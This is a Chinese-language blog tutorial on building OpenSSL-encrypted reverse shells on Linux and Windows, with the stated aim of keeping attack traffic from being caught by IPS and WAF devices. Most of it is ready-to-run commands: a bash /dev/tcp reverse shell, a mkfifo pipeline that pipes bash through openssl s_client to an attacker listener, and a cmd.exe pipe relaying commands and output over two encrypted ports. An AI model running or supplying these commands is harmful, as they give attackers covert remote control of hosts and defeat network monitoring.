流量加密之:使用Openssl反弹加密shell

1 背景

  • 直接反弹 shell 方式都有一个缺点:流量是以明文方式进行传输的。容易被IPS,WAF等可以检测带有攻击的特征的设备拦截或记录。

    1. # kali配置nc监听
    2. nc -nvlp 2333
    3. # Centos主机反弹shell
    4. bash -i >& /dev/tcp/192.168.10.3/2333 0>&1
    5. # 成功反弹后,执行命令,可以通过抓包查看在kali上所操作的命令
  • 如下图所示

2 生成SSL证书

kali上生成SSL证书的公钥/私钥对,需要填写的SSL证书信息可以是空,一直回车即可。

  1. # openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
  2. Generating a RSA private key
  3. .........................................................................+++++
  4. ....+++++
  5. writing new private key to 'key.pem'
  6. -----
  7. You are about to be asked to enter information that will be incorporated
  8. into your certificate request.
  9. What you are about to enter is what is called a Distinguished Name or a DN.
  10. There are quite a few fields but you can leave some blank
  11. For some fields there will be a default value,
  12. If you enter '.', the field will be left blank.
  13. -----
  14. Country Name (2 letter code) [AU]:
  15. State or Province Name (full name) [Some-State]:
  16. Locality Name (eg, city) []:
  17. Organization Name (eg, company) [Internet Widgits Pty Ltd]:
  18. Organizational Unit Name (eg, section) []:
  19. Common Name (e.g. server FQDN or YOUR name) []:
  20. Email Address []:

3 Linux平台下

3.1 在Kali上使用 OpenSSL 监听一个端口

  1. openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

3.2 CentOS上使用 OpenSSL 反弹加密 shell

  1. mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.3:2333 > /tmp/s; rm /tmp/s

3.3 验证流量

流量被加密:

4 Windows平台下

4.1 windows平台下的OpenSSL下载

官网没有提供windows的安装包,所以可以选择下面的第三方开源平台提供的工具,使用 light 安装包即可。

4.2 Windows下shell反弹命令

  1. # openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
  2. openssl s_client -quiet -connect 192.168.10.3:2333 | cmd.exe | openssl s_client -quiet -connect 192.168.10.3:2334
  • 命令会从[ip]:[port1]获取命令发送给 cmd.exe执行,然后把结果返回到 [ip]:[port2]

4.3 kali下配置监听端口

  1. # 配置命令发送端口
  2. openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]
  3. # 配置命令结果接收端口
  4. openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]
  5. openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
  6. openssl s_server -quiet -key key.pem -cert cert.pem -port 2334

4.4 验证流量

流量加密之:使用Openssl反弹加密shell的更多相关文章

  1. 流量加密-Kali使用Openssl反弹shell

    Kali使用Openssl反弹shell 前言 之前在护网的时候,如果流量中有明文的敏感信息,譬如攻击特征,是很容易被IDS检测出来的,此时红队的攻击行为就会暴露.这是非常危险的一件事.今天我们通过本 ...

  2. PHP使用OPENSSL RSA加密解密数据

    加密数据有很多种方法,今天我们来看一下OPENSSL RSA的加密办法. 1.首先得安装php的openssl扩展 php -m | grep openssl 执行以上命令,确保已经安装了openss ...

  3. JS和利用openssl的object C加密得到相同的aes加密密文

    这是之前接到的一个工作内容,项目原本的登录操作是获得账号和密码以后,对密码进行一遍MD5加密,然后传递账号和密文到cgi文件.在c中获取到账户以后,从数据库中获取到密码,对密码进行一次MD5的加密,然 ...

  4. openssl 非对称加密DSA,RSA区别与使用介绍(转)

    openssl 非对称加密DSA,RSA区别与使用介绍(转) 博客分类: OS.Linux Security   在日常系统管理工作中,需要作一些加解密的工作,通过openssl工具包就能完成我们很多 ...

  5. php7实现基于openssl的加密解密方法

    还需要注意的是加密字符串长度问题,如果加密字符串长度太长需要进行分段加解密,如下代码: 加密:(公匙加密,私密一般用来解密) function encrypt($originalData){ $pub ...

  6. openssl rsa加密,解密以及X509证书的使用

    Openssl的相关使用 生成证书 生成证书见:使用 openssl 生成证书 代码实现 Cert.h #ifndef _CERT_H #define _CERT_H ///header files ...

  7. php7废弃mcrypt加密,使用openssl替换

    概要: php从7.0升级到7.1废弃了一个扩展,即mcrypt扩展,虽然安装上扩展也能正常使用,但是会发出警告,告诉我们mcrypt相关方法已经被废弃,到了7.2,已经被移除,因此不建议继续使用. ...

  8. openssl RSA加密方法初识

    作为非对称加密算法,有两对密钥 一般用法 加密结果=RSA_EN(数据,公钥); 解密结果=RSA_DE(数据,私钥); RSA填充 (RSA_public_encrypt和RSA_private_d ...

  9. PHP中使用OpenSSL生成RSA公钥私钥及进行加密解密示例(非对称加密)

    php服务端与客户端交互.提供开放api时,通常需要对敏感的部分api数据传输进行数据加密,这时候rsa非对称加密就能派上用处了,下面通过一个例子来说明如何用php来实现数据的加密解密 先了解一下关于 ...

  10. 加密解密知识 php非对称加密

    function test1(){ $config = array( "digest_alg" => "sha1", "private_key_ ...

随机推荐

  1. Python-WebSpider

    (一)网路爬虫入门 1.0 爬虫是个啥 通过编写程序,模拟浏览器去上网,然后让其去互联网上抓取数据的过程 1.1 爬虫分类 通用爬虫 :抓取系统重要组成部分,抓取一整张页面的数据 聚焦爬虫:建立在通用 ...

  2. 【书籍知识回顾与总结-2022】Java语言重点知识-多线程编程、流式编程

    一.多线程编程 二.流式编程 1.目的 简化集合和数组的操作 注意:每个流只能使用一次 2.获取流的方式 (1)单列集合:stream方法 KeySet()/values()/EntrySet() ( ...

  3. 【每日一题】【DFS】【BFS】【队列】2021年12月5日-199. 二叉树的右视图

    解答: /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * ...

  4. 【大数据面试】【框架】Shuffle优化、内存参数配置、Yarn工作机制、调度器使用

    三.MapReduce 1.Shuffle及其优化☆ Shuffle是Map方法之后,Reduce方法之前,混洗的过程 Map-->getPartition(标记数据的分区)-->对应的环 ...

  5. Service层

    package com.neu.service; import java.util.List; import com.neu.bean.User;import com.neu.dao.UserDao; ...

  6. 学习Django框架之前所需要了解的知识点

    目录 一: Web应用 1.Web应用程序什么? 2.软件开发架构 3.Web应用程序的优点 4.Web应用程序的缺点 5.B/S架构优点 6.Web框架本质 二:MVC和MTV模式 1.MVC设计模 ...

  7. 国产paozhu c++ web framework 正式版发布

    经过大半个月测试修改 paozhu c++ web framework 正式版发布, 1.0.5 release 官方第一次发布正式版,可以用于生产环境. 易用性 超越国外各种 c++ web fra ...

  8. VMware搭建内网渗透环境

    网络结构: 攻击机:kali 192.168.1.103 DMZ区域:防火墙 WAN:192.168.1.104 LAN:192.168.10.10 winserver03 LAN:192.168.1 ...

  9. ArcGIS工具 - 按要素裁切数据库

    在GIS处理数据中,经常需要分图,将整个任务区划分成若干块,由不同的人协作完成.为了节省分图裁切时间,减少人员操作失误,为源GIS专门制作了按要素裁切数据库工具,以提高数据生产效率. 需求描述 裁切单 ...

  10. 洛谷 P2440木材加工 题解

    这是一道二分答案算法题,洛谷标签中的贪心等完全用不到. 这道题的数据范围较大,所以保险起见,整型的数据我们都开成longlong 题意很好理解,这里就不做过多的分析了,直接看代码,后面有注释: #in ...